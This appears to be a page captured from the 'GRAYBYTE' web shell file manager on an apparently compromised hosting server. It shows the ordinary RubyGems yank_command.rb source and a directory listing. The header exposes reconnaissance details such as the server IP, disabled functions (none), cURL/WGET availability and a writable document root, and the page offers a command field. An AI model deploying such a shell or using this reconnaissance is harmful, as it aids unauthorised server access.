GRAYBYTE WORDPRESS FILE MANAGER9917

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/ruby20/lib64/ruby/2.0.0/rubygems/commands/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/ruby20/lib64/ruby/2.0.0/rubygems/commands//yank_command.rb
require 'rubygems/command'
require 'rubygems/local_remote_options'
require 'rubygems/version_option'
require 'rubygems/gemcutter_utilities'

class Gem::Commands::YankCommand < Gem::Command
  include Gem::LocalRemoteOptions
  include Gem::VersionOption
  include Gem::GemcutterUtilities

  def description # :nodoc:
    'Remove a specific gem version release from RubyGems.org'
  end

  def arguments # :nodoc:
    "GEM       name of gem"
  end

  def usage # :nodoc:
    "#{program_name} GEM -v VERSION [-p PLATFORM] [--undo] [--key KEY_NAME]"
  end

  def initialize
    super 'yank', description

    add_version_option("remove")
    add_platform_option("remove")

    add_option('--undo') do |value, options|
      options[:undo] = true
    end

    add_option('-k', '--key KEY_NAME',
               'Use API key from your gem credentials file') do |value, options|
      options[:key] = value
    end
  end

  def execute
    sign_in

    version   = get_version_from_requirements(options[:version])
    platform  = get_platform_from_requirements(options)
    api_key   = Gem.configuration.rubygems_api_key
    api_key   = Gem.configuration.api_keys[options[:key].to_sym] if options[:key]

    if version then
      if options[:undo] then
        unyank_gem(version, platform, api_key)
      else
        yank_gem(version, platform, api_key)
      end
    else
      say "A version argument is required: #{usage}"
      terminate_interaction
    end
  end

  def yank_gem(version, platform, api_key)
    say "Yanking gem from #{self.host}..."
    yank_api_request(:delete, version, platform, "api/v1/gems/yank", api_key)
  end

  def unyank_gem(version, platform, api_key)
    say "Unyanking gem from #{host}..."
    yank_api_request(:put, version, platform, "api/v1/gems/unyank", api_key)
  end

  private

  def yank_api_request(method, version, platform, api, api_key)
    name = get_one_gem_name
    response = rubygems_api_request(method, api) do |request|
      request.add_field("Authorization", api_key)

      data = {
        'gem_name' => name,
        'version' => version,
      }
      data['platform'] = platform if platform

      request.set_form_data data
    end
    say response.body
  end

  def get_version_from_requirements(requirements)
    requirements.requirements.first[1].version
  rescue
    nil
  end

  def get_platform_from_requirements(requirements)
    Gem.platforms[1].to_s if requirements.key? :added_platform
  end

end


[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:43:42
root / linksafe
0755
build_command.rb
0.839 KB
November 29 2012 06:52:18
root / linksafe
0644
cert_command.rb
6.406 KB
June 21 2013 16:16:31
root / linksafe
0644
check_command.rb
2.008 KB
December 23 2012 00:35:09
root / linksafe
0644
cleanup_command.rb
3.851 KB
January 04 2013 22:58:15
root / linksafe
0644
contents_command.rb
3.122 KB
November 30 2012 00:23:15
root / linksafe
0644
dependency_command.rb
3.886 KB
November 29 2012 06:52:18
root / linksafe
0644
environment_command.rb
4.155 KB
November 29 2012 06:52:18
root / linksafe
0644
fetch_command.rb
1.489 KB
September 15 2013 14:23:26
root / linksafe
0644
generate_index_command.rb
2.522 KB
November 29 2012 06:52:18
root / linksafe
0644
help_command.rb
4.558 KB
July 22 2013 16:33:18
root / linksafe
0644
install_command.rb
5.454 KB
December 06 2012 05:26:46
root / linksafe
0644
list_command.rb
0.68 KB
July 22 2013 16:33:18
root / linksafe
0644
lock_command.rb
2.675 KB
November 29 2012 06:52:18
root / linksafe
0644
mirror_command.rb
0.386 KB
November 29 2012 06:52:18
root / linksafe
0644
outdated_command.rb
0.846 KB
November 29 2012 06:52:18
root / linksafe
0644
owner_command.rb
1.837 KB
July 22 2013 16:33:18
root / linksafe
0644
pristine_command.rb
3.655 KB
August 16 2013 15:35:06
root / linksafe
0644
push_command.rb
2.024 KB
July 22 2013 16:33:18
root / linksafe
0644
query_command.rb
8.025 KB
July 25 2013 15:42:22
root / linksafe
0644
rdoc_command.rb
2.313 KB
December 14 2012 05:09:37
root / linksafe
0644
search_command.rb
0.602 KB
July 25 2013 15:42:22
root / linksafe
0644
server_command.rb
2.354 KB
November 29 2012 06:52:18
root / linksafe
0644
setup_command.rb
12.943 KB
July 22 2013 16:33:18
root / linksafe
0644
sources_command.rb
3.624 KB
March 17 2013 14:18:23
root / linksafe
0644
specification_command.rb
2.935 KB
July 22 2013 16:33:18
root / linksafe
0644
stale_command.rb
0.688 KB
July 27 2011 01:40:07
root / linksafe
0644
uninstall_command.rb
3.072 KB
December 06 2012 05:26:46
root / linksafe
0644
unpack_command.rb
4.061 KB
November 29 2012 06:52:18
root / linksafe
0644
update_command.rb
5.799 KB
July 22 2013 16:33:18
root / linksafe
0644
which_command.rb
1.866 KB
July 27 2011 01:40:07
root / linksafe
0644
yank_command.rb
2.404 KB
November 29 2012 08:10:23
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF